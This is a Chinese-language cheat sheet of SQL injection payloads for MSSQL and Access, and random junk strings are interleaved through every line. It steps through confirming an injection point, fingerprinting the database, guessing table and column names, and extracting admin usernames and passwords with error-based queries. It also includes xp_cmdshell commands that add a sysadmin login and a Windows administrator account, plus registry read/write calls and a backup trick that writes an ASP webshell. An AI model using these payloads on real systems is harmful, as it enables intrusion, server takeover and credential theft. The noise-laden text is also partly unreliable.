1.判断是否有注入
) m- S) R% B: e- X' _% B& m, I;and 1=1
) [5 c7 v/ n8 k& m. f) N4 {;and 1=2 ; q3 W( u \- q# i
+ m: |& V( Z8 y7 F( j
2.初步判断是否是mssql ( B3 E5 Y; c: ?6 C, W
;and user>0
5 }; P& h& b" s& k/ Z* }1 e& ]" o5 v& V1 h
3.判断数据库系统 1 \7 \4 s9 S s9 V8 k
;and (select count(*) from sysobjects)>0 mssql
0 X; ]& r P% i+ l8 _- i) {$ ?% @;and (select count(*) from msysobjects)>0 access
7 S" ^; {# X6 R; n8 w
- \# {( x$ p+ A! _0 R3 h4.注入参数是字符
+ i% V; C: W0 U; e6 `. j+ r'and [查询条件] and ''=' ; @5 ^: E4 Q- [8 {! x% R. W# h( S
+ ?# x1 Y+ v4 \$ h
5.搜索时没过滤参数的 8 f# k$ z: g7 a5 P2 R
'and [查询条件] and '%25'=' $ ~# K0 `! Z% ^0 ^, o. C
" v! _8 I0 ~; c9 L9 B: U. x8 X: R l
6.猜数表名 7 N7 ^$ w R6 Z: U* C! w3 I8 U
;and (select Count(*) from [表名])>0
# ] N" F0 P& X4 }$ H
! u% A( p4 i/ ^. {( W: J+ \7.猜字段
* V' z3 c& |, X) ?' w" N. R K;and (select Count(字段名) from 表名)>0
7 ?; y" y2 P# B! B
; Y) C) v, b8 {. S# O8 ~, b: F/ {6 ~9 g8.猜字段中记录长度
, F2 J, L: d: V2 H;and (select top 1 len(字段名) from 表名)>0 3 m7 ]$ B2 e1 @, A) c0 D" p
" M) Q& Y, Q* V# k6 k
9.(1)猜字段的ascii值(access) 9 k3 H: L, N. a/ z/ r
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
7 |$ n, y3 a$ o1 t3 {& V
% v* E( w+ `# i' n6 z(2)猜字段的ascii值(mssql)
9 k& H4 N) f3 B/ N- w5 i;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ' |* m- _. ?+ M8 S+ m! w' d8 t
, u& J1 ]1 m% j0 m
10.测试权限结构(mssql)
; S- i- O- s1 R5 D& L* t;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
( C; @1 H, O$ Y, k;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / C9 J2 O: _6 l* {* ]3 F9 n
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- C4 L5 g z P" M;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- " d0 J2 t* M9 W P# v
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
( v6 ~7 i4 ?- \' [;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ D6 o6 R1 p( r3 A: p: W0 j( a;and 1=(select IS_MEMBER('db_owner'));-- 8 G0 B! \5 }& }2 p; X m
, P r, U" J# B11.添加mssql和系统的帐户 7 F6 ]7 [+ k, |" [; C+ m
;exec master.dbo.sp_addlogin username;--
$ R( y; d1 C/ d$ [: U4 r# z" U1 |;exec master.dbo.sp_password null,username,password;--
; K- [# o. E3 L B;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1 f5 Z y- u" Q0 X, u/ m
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
' q# W5 x! ^# U; [;exec master.dbo.xp_cmdshell 'net user username password /add';--
+ Q! z; R( d; y;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ; W# C% V3 X2 G# a
2 z9 E$ D) B- B
12.(1)遍历目录
3 H: B/ Y: P8 v; G# j;create table dirs(paths varchar(100), id int)
5 N2 o9 | n- {( O' \;insert dirs exec master.dbo.xp_dirtree 'c:\'
4 \. ^7 x) h6 Q) o( Q2 |; h& r4 k( U;and (select top 1 paths from dirs)>0
k% i, e' H6 i2 r! U;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) * V2 z/ e2 d$ p
8 x+ c$ {* ^& D$ D+ D Q1 I2 w
(2)遍历目录 + t k, c3 H3 K+ w: c! p% x$ N
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
8 `& W# f! g, U7 w;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
f/ G) [- {, _2 H P;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7 k8 S2 t$ e& l C
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
$ {; L3 E3 A8 p0 u6 l;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
3 | E( q1 ~/ U' y0 \- J9 R
" ~! Q$ G' O9 \13.mssql中的存储过程 ! v9 ?$ y3 u1 W
xp_regenumvalues 注册表根键, 子键 " n7 M; j/ m! {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 q: B# O \8 ?2 H" r7 T9 Z
xp_regread 根键,子键,键值名
; D/ ^- z* x6 L" U: L8 f;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
: o5 x4 l/ D. D) q- Pxp_regwrite 根键,子键, 值名, 值类型, 值 1 v9 V1 _( [4 O- \' J2 T. `
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4 C2 N7 N# t Y6 w& o
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 # R" ?2 J3 U6 O2 E0 f
xp_regdeletevalue 根键,子键,值名 & b5 a5 ~8 Y" P% ^6 c
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 / k; B5 _0 U5 |) e+ w$ @- |
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 / Y; \1 J1 R/ x3 f3 V! k; H
) [ M6 s0 ^9 X
14.mssql的backup创建webshell
- g9 y" Q; N9 q9 T/ d; r$ nuse model 9 G1 h7 V7 P8 V- P: A4 }+ ^0 f
create table cmd(str image);
6 c. J4 C) |) w9 e# S$ c& Binsert into cmd(str) values ('<% Dim oScript %>'); % S) l4 ?' [9 i, p% _0 L
backup database model to disk='c:\l.asp';
5 x3 A- M } N
- W4 t$ d0 a: e15.mssql内置函数 0 c, U- r8 y4 F8 K8 g8 K! l# Z
;and (select @@version)>0 获得Windows的版本号
9 g% C/ i3 [7 r1 h9 |8 G;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 {- o; |; F; I( t, G" @;and (select user_name())>0 爆当前系统的连接用户
# c$ {6 W0 r. H9 R;and (select db_name())>0 得到当前连接的数据库 6 |1 B$ U! `4 n9 U
4 x/ w& G% W0 E) h
- x, |; g1 O6 l' ?, K
: J( X. x9 V* x, J( r+ ^MSSQL手注暴库
; V% `6 q4 K% r6 f
# V; y: T5 [2 A+ Y* D' U1.暴出当前表名和列名
0 O' `( u# ]$ j9 z在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& T: g9 n& z% ~3 ?; _1 l" e' U2 S* r
第一.爆出所有数据库名
! m# ]" i) h6 r& D- a: p) O' R2 D8 x利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
! Z7 K% ~: ?. O+ |9 o; o7 k第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。' i: A8 H: }* g# [- O( i
, A3 q% W5 I; D& |and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
- t3 x( j! l% P+ M
3 b2 q7 q7 [, A5 r" d3 w, d9 g! _! d6 f% X
第二.爆出指定库中的所有表名
0 T, |0 C) Q' t, E. K% V: I得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。5 z; T+ M Q, R
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
8 e" V: R* h! ~9 o+ J+ O0 x
7 o. j: n# F6 e5 j! k( @and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--+ d4 L) I1 W0 R+ y) Q
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--6 U( D/ p" a; |' d$ w* i" L: R
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--4 }7 V x( W& Z; e- W6 M
/ t6 }* H: J/ |7 c8 V
4.爆出指定表中的所有列名; o* Y _4 _5 ?4 y5 G, ~
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ' z3 r: y9 K L1 M, s# H2 }" j* _
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'4 B2 n& M, t ?3 b" G
8 P+ g3 Y- P2 Z8 a: Nand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
; |/ l. k' B' ?4 j1 }& X& J+ W% R* h7 t; ~4 y
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
" ?2 U. q& z* y) o( G* q- @依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
9 v% { e S+ g! f: A5 Q, K; z k! L
. `' r" d$ S+ E3 Z: ?8 `4 \
( f3 H2 E2 B+ w/ Fand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值3 ?" w) l! {4 \& W: G0 s {3 D: t
6 g5 y/ T1 S3 }5 v; U7 R
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名& a5 g: x7 s: S# }$ o+ `
6 N# q( A: }3 r* H5 D' Z6 L) e5 d
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- . I+ e$ n- V8 g* i2 e
. _7 z4 s& W. {
+ K1 `. i8 ~; o) M3 B8 i' c0 {( C0 h+ c
% K3 Z! o/ K9 G# ?6 S5.读取指定表中的数据' L0 \* t( n' F0 |/ n- T
" o% A- X5 Z0 Q" S3 o4 fand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 7 ?# D, x' `# d3 s2 g
0 u, B$ v1 d2 D6 r* x1 n4 \
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
' R5 @7 u' b+ v) \
; B; j8 l M2 k: R; Z8 _* i( Iand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码! @' M& ?4 ?2 S z+ o- b" g4 E
5 a* S7 I6 c. m3 t: _' N& A/ Y3 \/ R$ S8 j! _0 l
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
" ^* ^' j: ] Q2 s9 Q/ o8 C$ F" H( U3 M: c6 y! W
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
- d1 U, v( e1 h' v: B. R; t# J. p) q; C$ v" ], \5 M4 b
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
# n% n8 P7 b* q
* [7 d; j4 y' @, W" R% [知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
+ M0 M: @- N. Z |